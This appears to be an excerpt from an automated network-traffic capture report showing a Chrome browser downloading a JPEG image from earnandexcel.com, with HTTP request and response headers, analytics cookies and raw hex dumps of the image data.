2024-04-11 21:26:59 UTC	1369	IN	Data Raw: f7 4c 57 4a d2 b1 39 d6 48 d9 2d c6 ba 1a 97 63 9d ba 5d cc ce 3b d6 bb dd b5 2b a5 1c ab 0b 9e 2e 8b 97 c2 c6 d2 fe 23 1c 87 b6 2b 19 4e 79 ed 8a 61 5c d4 9f c4 ce 8e 0b e1 43 09 58 9c b2 90 98 42 96 13 22 b2 39 35 65 65 ee b4 a6 8f 7a 93 73 36 2d 79 22 bd d6 8d 36 99 d7 d3 92 12 a2 02 41 51 92 c2 63 24 f1 2b 1c b0 5e eb 42 a6 98 38 10 b6 34 d7 e0 e6 7d 43 43 c4 b2 bc 91 6c 2b 33 5c b1 49 11 89 d6 29 cd 72 d8 ae 79 47 2d 64 1c 5e 19 9d a5 39 62 69 4f 0e 53 22 06 87 82 9c 0e c4 cb a5 05 03 46 91 67 2c b1 2c 6f e5 4f 8d d6 4e 40 fb a2 5b 0a 66 b4 e0 90 36 2b 9d 24 6d 74 42 e4 5c 2a 1d 25 41 8a 40 e0 ad 58 5d 6b 9e 2d c4 b3 3d 42 b9 3f 89 1b be 89 64 12 70 7e 49 82 c6 35 30 bd a0 6c 09 35 bf 49 30 96 f2 ac 74 b7 3a 4e 1d 8c 13 cc 46 e5 80 38 b9 6c 4a e6 01 Data Ascii: LWJ9H-c];+.#+Nya\CXB"95eezs6-y"6AQc$+^B84}CCl+3\I)ryG-d^9biOS"Fg,,oON@[f6+$mtB\*%A@X]k-=B?dp~I50l5I0t:NF8lJ
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: dd d5 2a 9f 28 7d 69 4e 69 c6 98 c7 38 62 35 6e 20 7b 96 c8 6e 7e b4 ee 34 47 1f 4b 92 7e 4e ef ad aa d5 85 f3 81 7d ab 85 37 3a 63 d6 fe 77 11 f2 85 3c 67 3c 73 8e 4c 43 c7 4c 53 87 f8 89 67 e9 b7 35 84 d7 ea 76 97 d6 30 02 6f 75 a5 35 43 a5 3b 77 72 2e 4a dc eb 8d b7 8e b0 f8 4a cf 0e 73 c6 de d2 e3 2b a3 20 db 55 ed 1e a5 3d 77 56 9f 63 3a ef 45 d4 c9 77 92 c1 d4 59 39 66 e5 bf 4c fd 70 0e d5 c9 a3 cf 38 cc 67 dd c4 ef 0b 1b ea 5b b0 69 33 19 88 58 c7 4c eb 72 b3 d4 92 cb 54 96 10 ed 27 a4 db 54 b3 36 b0 75 c8 5b b1 6f 50 d4 cd 41 50 c9 e1 36 7b 4d fc 2b 91 43 a5 dc 4a 3f 77 43 46 ef 00 70 fe 2b 7e 9b 4d 16 7b 45 4e 14 dd 4b f6 ce 8d e6 e3 9d 64 ea 2a 9c d6 3d 8e 9f 48 e3 5f 7f 73 d1 78 66 71 a0 a8 8c 0a a2 e8 24 1b f6 5c 14 b8 ce 67 a3 7d 1b e0 a3 79 Data Ascii: (}iNi8b5n {n~4GK~N}7:cw<g<sLCLSg5v0ou5C;wr.JJs+ U=wVc:EwY9fLp8g[i3XLrT'T6u[oPAP6{M+CJ?wCFp+~M{ENKd=H_sxfq$\g}y
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 4f 5f d9 a1 5a d4 f0 d4 e6 b5 64 0c 51 2b 51 3a ac c6 1a 9c 02 c8 18 94 31 3b 9c 85 e5 31 f4 92 f0 2f db ee 4e f5 2b 18 d7 17 6e df 02 89 0c 4f 6e bb 41 01 ce 03 bc 54 53 9a 7d f2 4d 5a 71 ec 58 32 d5 67 0b 49 a8 4e d0 a5 c9 16 54 5c b9 5e e8 b6 83 b1 59 3a 79 f3 0b 03 6f 02 c7 85 ab 87 05 b8 bf 62 3b 1c a7 e9 ba 8d 66 3b 63 76 05 08 ea 49 18 ee d9 b7 01 59 de cb 8b ad 67 42 09 3b 15 4b 22 db c8 e5 d8 80 20 84 c9 3f 9b 72 99 96 89 ae be c5 1f 55 42 e0 08 61 55 65 29 47 c9 61 61 a2 2c b9 30 95 92 58 5f 1f ba 69 5a ce 78 1c 6a 3e a0 55 56 7c 0a e3 b1 40 e6 af bc 78 8f cd a5 f4 4a 9c 26 e1 41 66 cf bc 38 8f cd a5 f4 4a dc f4 d9 f1 33 2f 5f 0c 45 9e 5f 69 b3 8a b4 e8 b9 d7 d2 36 5c f9 fc 5e 75 54 07 7a b3 e8 b4 ff 00 e2 36 5b f9 fc 5e 75 d3 59 f8 6f e8 66 54 Data Ascii: O_ZdQ+Q:1;1/N+nOnATS}MZqX2gINT\^Y:yob;f;cvIYgB;K" ?rUBaUe)Gaa,0X_iZxj>UV\|@xJ&Af8J3/_E_i6\^uTz6[^uYofT
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 58 13 1a 16 66 35 42 73 8d 8f 60 d8 b6 e9 07 db 5a b5 d8 d5 b5 48 df b7 35 21 0c df 66 49 44 d5 b7 13 56 18 9a a5 23 c2 ab 05 10 ad 34 f2 0a 62 6c 24 b6 cd f6 42 46 7f 0c a5 9c 2c e0 c7 13 16 dc 4d 58 62 62 db 89 a9 51 5e 4c e8 9a 2d d9 4b 5e 3f 4d 9e 62 af 2a 91 a3 01 6a 6a ff 00 f1 33 cc 55 dd 58 87 dd 3d 1f d0 7f ec 6b ff 00 9f e5 8b 74 24 4a 9e 6b 82 10 84 00 21 08 40 02 11 64 20 01 08 42 00 10 84 20 0f 37 74 54 1b 66 2c 07 e6 72 fa 61 71 36 b9 76 be 8a cd 99 83 00 3f f0 93 7a 6d 5c 45 85 6c e9 1f d9 23 13 5a be d5 9e 8c d0 81 ff 00 62 18 39 6a 24 fe 0b a3 b1 bb 17 35 d0 4e dc 98 3b d5 32 7f 05 d3 4e c6 ae 3f 5d 6c 63 a9 9f 13 f7 35 a8 71 8d 31 ce c6 37 c8 18 b5 a4 af 0c be d5 87 10 9f 82 61 2a 99 8c e6 46 52 87 5d f6 b2 75 79 92 ca 24 e3 8f b3 2d e3 Data Ascii: Xf5Bs`ZH5!fIDV#4bl$BF,MXbbQ^L-K^?Mbjj3UX=kt$Jk!@d B 7tTf,raq6v?zm\El#Zb9j$5N;2N?]lc5q17aFR]uy$-
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: d5 d5 0a 1a 7d 77 9f 1e 3a e3 85 ed 97 8f e1 32 4b 7d 39 d7 2e 16 f2 ca 01 c6 48 de 02 6f 57 2d c8 a4 b3 4e 13 05 1d 4e bc 2c 1c 1c 8d d6 6f 7b 94 2a cc 8e 60 1b 58 d3 f4 27 d5 eb f5 cd b8 49 62 4b ca 24 5e 93 27 15 38 be cc 93 ea e7 81 21 c6 cf 11 54 bc 4e b0 d2 54 16 b5 c4 34 ed 1b 56 80 c6 dc 5d aa 1f b4 ad 9a af 56 45 49 3e c6 5d 95 f0 49 c5 97 f7 63 4e 3c 7f 5a 8f c7 6b 8c d8 16 26 0d ff 00 a2 cb e8 95 1f 84 b1 f5 56 24 92 a5 31 da 5e 0b 2d 62 66 df 04 97 d0 2a dd 4a 6d ac 14 6e be b8 c5 e4 f3 1b 76 85 69 d1 7e cd 21 e5 c3 fd e1 0f a4 aa 94 c3 ed 7f 49 f3 ab 6e 8c 7f b4 2c b9 fb 42 1f 49 6e 4f bd 6d fe 46 24 3b 58 97 e6 7b 55 08 b2 02 c4 37 01 08 42 00 10 84 20 01 08 b2 2c 80 04 21 08 00 51 d9 93 fa bb 8a fc d2 6f 40 a9 2b 28 ec c9 fd 5d c5 7e 69 37 Data Ascii: }w:2K}9.HoW-NN,o{`X'IbK$^'8!TNT4V]VEI>]IcN<Zk&V$1^-bfJmnvi~!In,BInOmF$;X{U7B ,!Qo@+(]~i7
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 37 72 aa fb 42 ca d0 a9 a7 83 97 e2 e1 79 3a 7e 94 73 f5 26 37 49 4d 84 60 f5 02 5a 4d 92 4c f6 82 03 88 f7 2d db c9 bf 99 6c 68 6b 48 34 99 69 f5 38 5e 31 51 c0 d0 4b f6 d8 e4 70 24 31 fc 63 67 11 1e 65 cb 9a 16 56 04 ee 63 e2 e2 07 ab 9a b3 9b ee 5a f4 85 0e 03 d7 14 d5 79 7a b6 3a 9a 2a af b6 96 31 a4 70 4f 27 6b 76 81 b3 8c 78 55 75 83 62 c6 c0 b2 b4 6c 51 b7 96 51 b6 7c 52 72 c6 32 6c 64 4c 4c 61 39 fa 82 a2 4a ee 92 83 a6 2d 2c 84 f6 ba a7 78 3d e3 bb bd bd 7a 13 10 a2 ca 79 ed e2 9e 59 e8 f1 09 a9 09 20 c1 30 2f 8a fb f6 b4 de df 52 f2 bd 60 fb ae 5f f1 15 25 95 71 ba bc bf 8c 47 5d 45 54 69 a4 0d 73 4b c5 88 b1 1b 88 2a cc 25 85 86 6f d5 6a 85 78 92 ca c1 ea 0a 37 e5 ec af 01 c2 e9 aa 69 28 f5 1a 5e 63 74 83 5b c2 6e 6e 4a e2 15 72 be aa b6 79 a4 Data Ascii: 7rBy:~s&7IM`ZML-lhkH4i8^1QKp$1cgeVcZyz:1pO'kvxUublQQ\|Rr2ldLLa9J-,x=zyY 0/R`_%qG]ETisK%ojx7i(^ct[nnJry
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: b4 59 6d c6 d6 35 2d f3 93 5c 28 cb 85 75 b9 f1 49 77 33 e5 bc 36 1a 76 86 70 6d 1b 79 15 f3 0a a7 8d 8e 1b 02 a7 61 ce 0d 90 2b 35 3d 51 63 45 8a cc 8a 71 93 66 a5 6e 1c 38 45 a4 10 1b 65 1f 88 bc 08 ec 4e d5 1a ec 69 cc 69 1b fe 95 1d 3e 2a e9 5c 4b 8f d6 ac 57 11 2e d4 47 18 28 ec ca ec 6b b5 80 20 ad 5c 43 07 7b 18 6c e3 b0 2b c6 ab 79 14 56 2c d6 f0 6e 36 4d aa 4f 27 35 76 8e b8 c5 e1 1c f1 f4 8f 64 9a bb 6e 4a b1 e1 98 74 ce 63 6e 4a d0 68 0e ae 00 ee 05 5d 30 b8 99 c1 b7 67 12 b7 a8 97 64 67 68 a8 53 6f 2c 8e 14 32 34 1d 8b 46 ae 39 19 7b 5d 5b 9d 1b 35 4e c5 03 8a 35 8d b9 4c a6 5d cb 97 51 c1 1c a6 44 53 3a 40 76 93 bd 4d 40 1c e6 71 a8 aa 59 19 24 a0 77 d5 96 92 36 70 7f 42 4b d7 71 74 52 e2 8f 92 12 b5 cf 6b 5c a9 f9 82 72 70 ec 44 38 6e a7 90 Data Ascii: Ym5-\(uIw36vpmya+5=QcEqfn8EeNii>*\KW.G(k \C{l+yV,n6MO'5vdnJtcnJh]0gdghSo,24F9{][5N5L]QDS:@vM@qY$w6pBKqtRk\rpD8n
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 5f c9 c7 19 b8 2b 86 8d 6f d7 b6 5e fd a3 07 a6 15 41 9b 2c ad fa 35 fe bc 65 ef da 30 7a 41 3a 7f 87 2f a3 3a c8 7e 24 7e a8 f6 62 10 85 cf 1d 10 88 42 10 00 84 21 00 70 6d 21 c8 19 a4 3a 82 e2 00 12 c2 49 3c 5d ab 54 de 7b d2 3b 70 cc d7 88 3b 03 a2 c2 5d 39 6b 58 dc 4d 8d e1 25 20 b0 03 63 7b 5f 8b 72 b1 66 ad 13 d3 66 6c 5e 7c 4f aa 73 53 c9 30 6d d8 23 0e 17 02 dc bd e5 c5 71 fc b1 8e e0 18 8c b4 35 74 d1 82 c3 da bc 13 ab 23 78 9c 3b cb 9f be bb aa 72 7e 13 79 cf ea 77 5a 1b f4 9a 98 d7 16 f2 e3 1c 35 87 f9 7e be 0d 23 52 f6 ce c9 5a f2 24 e1 1a ed 6e 3b eb 6f 56 d1 8e 62 56 fe 97 27 d4 a9 f1 61 b8 83 e6 8f 84 8d 8d 68 70 24 df 90 ab 10 59 d2 58 58 37 a2 d4 9b 78 37 fa b9 89 7e 57 27 d4 bb ae 59 8e 68 f2 fe 1e da 82 4c dc 03 0b c9 e5 22 eb 91 64 5c Data Ascii: _+o^A,5e0zA:/:~$~bB!pm!:I<]T{;p;]9kXM% c{_rffl^\|OsS0m#q5t#x;r~ywZ5~#RZ$n;oVbV'ahp$YXX7x7~W'YhL"d\
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 96 69 f8 68 03 bb ca 4e ae 84 82 4e a8 2a f4 65 c2 f0 72 da 8a 79 d1 e2 c1 5b 86 97 ed cd 68 0a c5 4b 46 4c 63 62 c1 4d 45 79 af ab 63 df 56 4a 2a 2b 46 2e a3 ba dc 0e d0 e8 b2 d9 1b 16 1b 23 ac 5a de 75 29 49 44 f6 02 08 52 34 f1 86 6c 73 56 ec 4d 8a db 82 a7 2b 72 6e d5 a1 51 ee 6e 88 85 94 5e 2b 10 2c 76 c5 31 ac 36 a8 bc 4c 82 c7 2a 10 8f 73 42 d6 b8 4a d4 50 81 51 bb 8d 59 e8 23 1a 81 57 58 47 0f f4 ab 25 0b bb 40 a7 b2 3d 8a 5a 56 b2 cc ef 8c 6a 95 05 89 c4 36 a9 e7 bb b5 2a 0b 13 78 da 8a 97 72 4d 56 38 48 b8 63 1c 20 52 cc 00 47 f4 28 76 4e 04 8a 4d b2 5e 2f a1 58 92 65 1d 3c 96 19 0f 8a 91 db 2a 56 66 00 e5 fc 56 df 10 f3 f5 2b 76 2d 20 ed b6 aa 66 64 96 f8 0e 26 38 8c 0f f3 2b 54 d6 f1 93 2f 51 7c 56 a2 2b f3 38 e4 6d b1 56 8d 1e 1f f6 f3 2e 8f Data Ascii: ihNNery[hKFLcbMEycVJ+F.#Zu)IDR4lsVM+rnQn^+,v16LsBJPQY#WXG%@=ZVj6xrMV8Hc RG(vNM^/Xe<*VfV+v- fd&8+T/Q\|V+8mV.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.17	50043	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:58 UTC	2342	OUT	GET /wp-content/uploads/PowerPivot-1-480x304.jpg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _pubCommonId_cst=VyxHLMwsHQ%3D%3D; _lr_retry_request=true; _lr_env_src_ats=false; am_tokens=null
2024-04-11 21:26:59 UTC	901	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:58 GMT Content-Type: image/jpeg Content-Length: 19008 Connection: close CF-Ray: 872e0ed8989c19aa-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df3310-4a40" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:56 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sac09vA4hdl8u29nQj631DMmywhVbtQLITonplOVEgmZvVEvaUaMgkcqWrFWF9AHuYikKcKXmOR4NKe84P8XCMyJ92f5aUN62Yv%2FiOglXNazzXsDtVA0VfLZvfMk3MkTeTw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:59 UTC	468	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 96 00 96 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 01 30 01 e0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 04 03 01 00 00 00 00 00 00 00 00 00 00 00 00 01 05 06 07 02 03 04 08 ff c4 00 60 10 00 01 03 02 02 04 04 0e 0b 0a 0b 07 03 05 00 00 01 00 02 03 04 11 05 06 07 12 21 31 13 41 51 91 08 14 15 16 18 22 52 55 61 92 93 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$0"`!1AQ"RUa
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 5a 9c eb 24 6c 96 e3 5e 86 a5 d8 f3 b7 4b b9 b9 c7 7a e7 7b b6 a5 74 a3 95 69 73 c5 d1 72 f8 59 1a 5f c4 6b 90 f6 c5 6b 2b 27 9e d8 ac 0a f3 52 7f 13 3d 1c 17 c2 8c 09 5a 9c b6 90 b0 21 5b 09 95 59 1c 9c b2 b2 f7 5c 53 47 bd 39 b9 9b 17 3c 91 5e eb 46 9b 4c eb e9 c8 c9 51 01 20 a6 c9 61 31 92 78 94 8e 58 2f 75 c1 53 4c 1c 08 5b 1a 6b f0 79 9f 50 d0 f1 2c af 23 5b 0a dc d7 2d 52 44 62 75 8a c9 ae 5b 15 cf 28 f2 d6 41 c5 e1 9b da 56 4b 53 4a cc 39 5c 8a 1a 33 05 64 0e c5 85 d2 82 82 26 24 59 cb 6c 4b 5b f9 56 71 ba ca 48 1f 74 3b 61 4c d6 9c 12 06 c5 33 a4 8d ae 88 5c 8b 85 03 a4 a8 31 48 1c 14 ab 0b ad 73 c5 b8 96 67 a8 57 27 f1 23 77 d1 2c 82 4e 0f c8 f0 58 c6 ac 0b da 06 c0 93 5b f3 96 04 b7 95 63 a5 b9 e9 38 76 34 4f 31 1b 96 80 e2 e5 d1 2b 98 06 c0 17 Data Ascii: Z$l^Kz{tisrY_kk+'R=Z![Y\SG9<^FLQ a1xX/uSL[kyP,#[-RDbu[(AVKSJ9\3d&$YlK[VqHt;aL3\1HsgW'#w,NX[c8v4O1+
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 75 4a a7 ca 1f 4a 53 9a 71 a6 31 ce 18 8d 5b 88 1e d5 b2 1b 9f ad 4b 8d 15 c7 d2 e4 9f 92 f7 d6 d5 6a d2 f9 c0 be d5 45 37 3a 63 d6 fe 77 11 f2 85 66 33 9e 39 c7 26 21 e3 a8 29 c3 fd 45 b3 f4 db 9a c2 6b fc 97 4b eb 18 01 37 ba e2 9a a1 d2 9d bb b9 15 4a dc eb 8d b7 8e b0 fc 65 6f 87 39 e3 6f 69 71 95 d1 90 6d aa f6 8f 42 be bb ab 4f b1 9d 77 a2 ea 64 bb c9 60 b4 59 39 66 e5 df 4c fd 70 0e d5 53 47 9e 71 98 cf b7 89 df 1b 1b e8 5d b0 69 33 19 88 58 c7 4c eb 72 b3 d0 95 96 a9 2c 22 5a 4f 49 b6 a9 66 6d 60 b7 21 6e c5 dd 43 53 35 05 43 27 84 d9 ed 37 f8 d5 45 0e 97 71 28 fd bd 0d 1b be 20 e1 fb 57 7d 36 9a 2c f6 8a 9c 29 ba 97 ed 9d 1b cd c7 3a c9 d4 55 39 ac 7b 1e 9f 48 e3 5f 7f 73 d1 78 66 71 a0 a8 8c 0a a2 e8 24 1b f6 5c 14 b8 ce 67 a3 7d 1b e0 a3 79 92 Data Ascii: uJJSq1[KjE7:cwf39&!)EkK7Jeo9oiqmBOwd`Y9fLpSGq]i3XLr,"ZOIfm`!nCS5C'7Eq( W}6,):U9{H_sxfq$\g}y
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 26 b5 6c 0c 55 2b 51 7a ac d6 1a b2 01 6c 0c 4a 18 a5 ce 43 e5 33 3a 49 78 17 ed f6 a7 7a 75 8c 6b 8b b7 6f c4 9a 43 16 6d d7 68 20 39 c0 78 0a aa 73 4f be 4b ab 4e 3d 89 06 5a ac e1 69 35 09 da 13 b9 22 ca 0b 97 2b dd 16 d0 76 29 27 4f 3e 61 60 6d f1 2c 78 5a b8 70 75 c5 fb 0d d8 e5 3f 4d d4 6b 31 db 1b b0 26 47 52 48 c7 76 cd b8 0a 4e f6 5c 5d 73 3a 10 49 d8 b9 2c 8b 6f 24 97 61 80 82 16 12 7f 36 e4 f3 2d 13 5d 7d 89 be aa 85 c0 10 c2 b9 65 29 47 c9 d0 b0 d0 d6 5c b0 25 6c 96 17 c7 ed 9a 57 33 9e 07 1a af a8 1a ab 3e 05 71 d8 98 73 57 de 3c 47 e4 d2 f9 a5 3e 13 70 98 b3 67 de 1c 47 e4 d2 f9 a5 6e 7a 6c f8 99 97 af 86 22 cf 2f b4 d9 c5 4a 74 5c eb e9 1b 2e 7c be 2f b5 45 01 de a4 fa 2d 3f fa 8d 96 fe 5f 17 da bd 35 9f 2d fd 8c ca 97 e2 2f b9 ed 8b f2 a4 Data Ascii: &lU+QzlJC3:IxzukoCmh 9xsOKN=Zi5"+v)'O>a`m,xZpu?Mk1&GRHvN\]s:I,o$a6-]}e)G\%lW3>qsW<G>pgGnzl"/Jt\.\|/E-?_5-/
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 41 73 67 2c 0e 31 aa 76 b9 59 0d 5d 89 95 bd 1c 59 64 36 ba 29 1b da bc 5d 60 ea 81 63 b4 28 03 71 d0 06 c9 2d f3 ae aa 4c 7a 46 bc 6b 49 ac c3 c4 ad 96 a5 be f2 44 3a 36 bc 12 99 a5 0e 51 8c e0 7f 88 71 11 cb 4d 27 9a 53 cc 75 d1 4c cb b3 79 4c 79 b6 ee c0 b1 03 ff 00 0f 27 9a 57 aa f4 55 96 99 e7 bd 56 0e 31 67 94 9e 76 95 25 d1 67 f5 8f 96 ff 00 cc 22 fb 54 65 db ca 93 68 b3 fa c6 cb 7f e6 11 7d ab d6 db f9 1f d8 c6 a7 f3 a3 db 6b c5 39 82 cc cd 18 a1 73 75 80 ad 94 96 9e 3f ba 1d 8b da a1 31 55 e4 2c ad 5d 53 25 55 4e 5f c3 66 9e 57 6b 3e 47 40 d2 5c 79 49 b2 c0 9c 38 8d 1d 5e 9d dc 92 4f 18 3c c1 5d 9d f1 3a fc 4b 0d ae 8d b1 52 75 34 34 53 45 08 21 8c b1 e4 27 8f 71 58 e6 2c 79 d9 9b 16 97 14 96 92 9e 96 69 80 e1 1b 05 c3 5c ee eb 69 3b 4a b5 34 f9 Data Ascii: Asg,1vY]Yd6)]`c(q-LzFkID:6QqM'SuLyLy'WUV1gv%g"Teh}k9su?1U,]S%UN_fWk>G@\yI8^O<]:KRu44SE!'qX,yi\i;J4
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 8e 5f c6 df f7 34 b3 3b e7 6c d9 15 6b 06 3c da 78 e9 a0 74 ef 63 5e d8 35 9a 38 9b 60 09 3e 05 67 68 0d ce 7e 4e a9 73 dc 5c e3 5a f2 49 37 27 b5 6a ae 8e 5a d1 e6 0d 77 e2 19 aa a3 15 73 47 f3 14 30 db 58 f2 6b 1b 8f ad 5b 7a 26 c5 68 31 5c b7 2b b0 bc 35 b8 75 14 35 2e 8a 28 41 d6 71 00 34 eb 38 f1 b8 92 a7 0f 3d cb b4 c9 f3 33 27 df ef 92 68 80 84 2b 8d 11 50 84 20 02 c8 42 10 00 84 20 20 01 08 42 00 11 64 21 00 08 45 d0 80 04 21 17 40 1e 6d e8 ad d9 8f e5 ff 00 92 cd e7 b5 51 cc 2a f1 e8 ae fb fb 97 be 4b 3f 9e d5 45 eb 58 2d 7d 27 ca 46 3e b1 7e 23 3d 15 a0 69 07 59 e4 7f c5 49 fb 15 a3 70 42 a6 74 25 5d c0 65 47 8b ee a9 7f d8 15 94 cc 5d a5 bb d6 4e a7 d2 a3 6d ae c6 bc 8e 36 66 29 1d 18 93 03 e3 70 55 86 69 c3 64 9e 49 1b 1b 35 95 85 35 77 0a 2c Data Ascii: _4;lk<xtc^58`>gh~Ns\ZI7'jZwsG0Xk[z&h1\+5u5.(Aq48=3'h+P B Bd!E!@mQ*K?EX-}'F>~#=iYIpBt%]eG]Nm6f)pUidI55w,
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 6d b1 72 7f cc f9 3e a5 95 72 3d d2 03 7d b7 b2 8a 47 96 ea a3 ab 6b b5 81 00 af ab fa 66 92 71 d3 c5 38 bf f0 7c df d5 3d 46 ae 7c b3 3c 17 9e 52 9a 39 a9 98 e0 77 80 9e b3 49 1d 6c 62 76 fc 96 5f 34 a8 86 4e 8e 78 20 60 73 86 e5 22 cc 73 3b ad bc 48 1f c9 65 f3 4a f4 15 51 fa 1e 77 a9 e2 5e 72 79 99 91 18 db aa 76 9b 9f b5 4a b4 64 d2 34 83 96 cf f7 84 3e 72 8c b8 76 c5 4a 34 69 fd 3f cb 7f e6 30 f9 ca eb 16 2b 97 d8 e9 aa 59 b2 3f 73 da 48 42 16 09 bc 08 42 10 00 84 21 00 08 42 10 00 95 08 ba 00 51 b9 2a d1 55 57 05 0d 3b ea 2a a6 8e 08 63 17 7c 92 38 35 ad 1e 12 53 67 5e b9 6b bf f8 67 d2 59 e9 4b 22 72 4b cb 1e 90 99 7a f5 cb 5d ff 00 c3 3e 92 cf 4a 3a f5 cb 5d ff 00 c3 3e 92 cf 4a 32 85 c7 1d c7 a4 02 99 7a f5 cb 5d ff 00 c2 fe 92 cf 4a 3a f5 cb 5d Data Ascii: mr>r=}Gkfq8\|=F\|<R9wIlbv_4Nx `s"s;HeJQw^ryvJd4>rvJ4i?0+Y?sHBB!BQUW;c\|85Sg^kgYK"rKz]>J:]>J2z]J:]
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: ee dc 15 f8 4b 38 0d d7 d9 bd 48 6b 74 13 4f 41 35 34 35 19 99 8c 7d 54 9c 14 40 d3 6f 75 af dd 7f fd 70 b6 64 cc d9 81 e1 fa 4c cc 98 9d 56 25 04 54 75 3a fc 0c ce be ab ee f0 76 7c ca 47 9a b3 3e 50 c7 31 0c 2a a1 98 d4 52 b6 09 be ec 59 23 80 8a 3b 13 ad bb 66 db 6d 50 c4 71 93 8e c5 08 54 e5 14 9b ce ff 00 a9 08 ce 3a 19 76 54 cb f5 38 b9 c6 45 4f 00 5a 38 3e 03 56 f7 70 1b f5 8f 2a 94 68 78 5f 46 58 e7 f8 ea 3f d2 0b a3 4a 19 e7 2d e3 19 26 ba 87 0f c6 29 aa 6a 64 31 ea 46 c2 6e eb 3c 13 c5 c8 b9 f4 3d fd 59 63 9f e3 a8 ff 00 48 29 24 94 bb 1d 11 8c 23 6e 21 b1 5b e8 f3 22 1c f7 88 55 52 0a e1 47 d2 f1 09 75 b8 3d 7d 6d b6 b6 f0 a7 9d 8e 8e f8 42 3e 8d ff 00 92 8f e8 47 30 e1 59 7b 1a c4 66 